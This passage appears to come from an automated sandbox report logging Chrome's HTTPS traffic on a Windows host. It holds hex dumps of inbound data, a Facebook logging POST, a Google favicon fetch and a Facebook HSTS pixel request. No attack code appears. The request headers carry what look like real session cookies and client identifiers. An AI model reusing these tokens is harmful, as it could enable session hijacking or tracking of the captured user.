2024-01-17 23:35:02 UTC	16384	IN	Data Raw: 35 d9 7f 05 57 f6 b2 25 bf ff 57 fd 7e ab 8b 44 67 66 ac f8 97 af 55 69 5a 0e 26 6b 72 f9 5f e5 4a 15 3a fa 16 c9 39 ff c5 fe 5f 5b 93 e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c Data Ascii: 5W%W~DgfUiZ&kr_J:9_[.kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: cf 2f c1 ab e3 19 e9 5f ea 6c 3a 06 42 6d a9 2b bb 3b 6c e6 11 e2 cc b8 40 0d 66 c4 d6 47 9d 43 48 b6 cf 17 53 19 47 4d 2f 62 63 2e b6 df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a Data Ascii: /_l:Bm+;l@fGCHSGM/bc.&{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: bb 82 98 24 7c 05 bf f0 26 86 5f 75 44 a2 79 ef 2f 9b a0 22 f6 42 ad 43 9d ea 7a f0 ab 62 b1 c4 6b 28 af a2 bb 60 40 0c f9 6c a9 df 35 c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e Data Ascii: $\|&_uDy/"BCzbk(`@l5wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: 9f a4 d2 5f e4 26 50 20 db 05 95 17 3b 79 ef 23 8e fe 61 a0 5f 8a 03 5a f7 44 2d a1 c3 5f 26 90 90 09 18 77 ea a0 62 f3 19 53 9f c9 ea 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 Data Ascii: _&P ;y#a_ZD-_&wbSg4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AV
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: 59 b2 9e 99 56 68 99 88 b5 2f e5 e4 83 4b 34 f7 19 95 75 7a 34 b5 33 5b 5f 63 75 86 c3 94 89 3d c7 cc 48 fc 4b c7 02 6c b4 ac 03 81 46 c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f Data Ascii: YVh/K4uz43[_cu=HKlFE4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'O
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: d5 1e b6 91 ba 4d 6f c4 e2 d0 88 1b cf 19 e1 5c b5 9e f5 37 3a 4a 54 b0 8c 08 40 04 eb ae 78 fd 3f 38 6a 8d c9 1b 89 67 91 52 ea 51 9c 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 Data Ascii: Mo\7:JT@x?8jgRQ"}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0*"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49897	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	1176	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__dyn=7xe6E5aQ1PyUbFp61swgE98nwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE7i0n24o5-0me2218w5uw5Uwdq0Ho2eU5O0PU1mUdEG0hi0Lo6-0iq0NE&__hs=19739.BP%3ADEFAULT.2.0..0.0&__hsi=7325214798112811389&__req=2&__rev=1010867501&__s=heq9de%3A1o93e2%3A35jhjl&__spin_b=trunk&__spin_r=1010867501&__spin_t=1705534476&__user=0&dpr=1&jazoest=21039&lsd=AVraRSlEjzk HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 5511 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaDZALIPggQmWiHqr Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907
2024-01-17 23:35:02 UTC	5511	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 61 44 5a 41 4c 49 50 67 67 51 6d 57 69 48 71 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 30 35 35 33 34 35 30 30 37 38 36 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 61 44 5a 41 4c 49 50 67 67 51 6d 57 69 48 71 72 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 70 6f 73 74 73 22 3a 22 37 69 37 77 62 31 74 62 49 6d 5a 68 62 47 4e 76 4f 6d 4a 79 62 33 64 7a 5a 58 4a 66 63 47 56 79 Data Ascii: ------WebKitFormBoundaryaDZALIPggQmWiHqrContent-Disposition: form-data; name="ts"1705534500786------WebKitFormBoundaryaDZALIPggQmWiHqrContent-Disposition: form-data; name="q"[{"app_id":"256281040558","posts":"7i7wb1tbImZhbGNvOmJyb3dzZXJfcGVy
2024-01-17 23:35:02 UTC	1949	IN	HTTP/1.1 200 OK reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com;font-src data: .gstatic.com .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com .tenor.co media.tenor.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net .giphy.com connect.facebook.net .carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com .whatsapp.net .fb.com .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com https://.giphy.com data:;frame-src .doubleclick.net .google.com .facebook.com www.googleadservices.com .fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: .facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), encrypted-media=()
2024-01-17 23:35:02 UTC	1325	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49899	142.251.32.100	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	1202	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:02 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 04:25:35 GMT Expires: Thu, 25 Jan 2024 04:25:35 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 68967 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:02 UTC	546	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-01-17 23:35:02 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2024-01-17 23:35:02 UTC	1252	IN	Data Raw: de ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4
2024-01-17 23:35:02 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-01-17 23:35:02 UTC	1128	IN	Data Raw: ff ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49900	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	735	OUT	GET /security/hsts-pixel.gif HTTP/1.1 Host: facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg; datr=DGSoZXKoCY8OkV9WMe-nT3iH; wd=1280x907
2024-01-17 23:35:02 UTC	1780	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/gif reporting-endpoints: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com;font-src data: .gstatic.com .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com .tenor.co media.tenor.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net .giphy.com connect.facebook.net .carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com .whatsapp.net .fb.com .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com https://.giphy.com data:;frame-src .doubleclick.net .google.com .facebook.com www.googleadservices.com .fbsbx.com fbsbx.com data: www.instagram.com .fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: .facebook.com data:;block-all-mixed-content;upgrade-insecure-requests; document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), encrypted-media=()
2024-01-17 23:35:02 UTC	1102	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 64 69 73 70 6c 61 79 2d 63 61 70 74 75 72 65 3d 28 73 65 6c 66 29 2c 20 66 75 6c 6c 73 63 72 65 65 6e 3d 28 73 65 6c 66 29 2c 20 67 61 6d 65 70 61 64 3d 2a 2c 20 67 65 6f 6c 6f 63 61 74 69 6f 6e 3d 28 73 65 6c 66 29 2c 20 67 79 72 6f 73 63 6f 70 65 3d 28 29 2c 20 68 69 64 3d 28 29 2c 20 69 64 6c 65 2d 64 65 74 65 63 74 69 6f 6e 3d 28 29 2c 20 6b 65 79 62 6f 61 72 64 2d 6d 61 70 3d 28 29 2c 20 6c 6f 63 61 6c 2d 66 6f 6e 74 73 3d 28 29 2c 20 6d 61 67 6e 65 74 6f 6d 65 74 65 72 3d 28 29 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), display-capture=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=()
2024-01-17 23:35:02 UTC	54	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49903	74.125.1.166	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
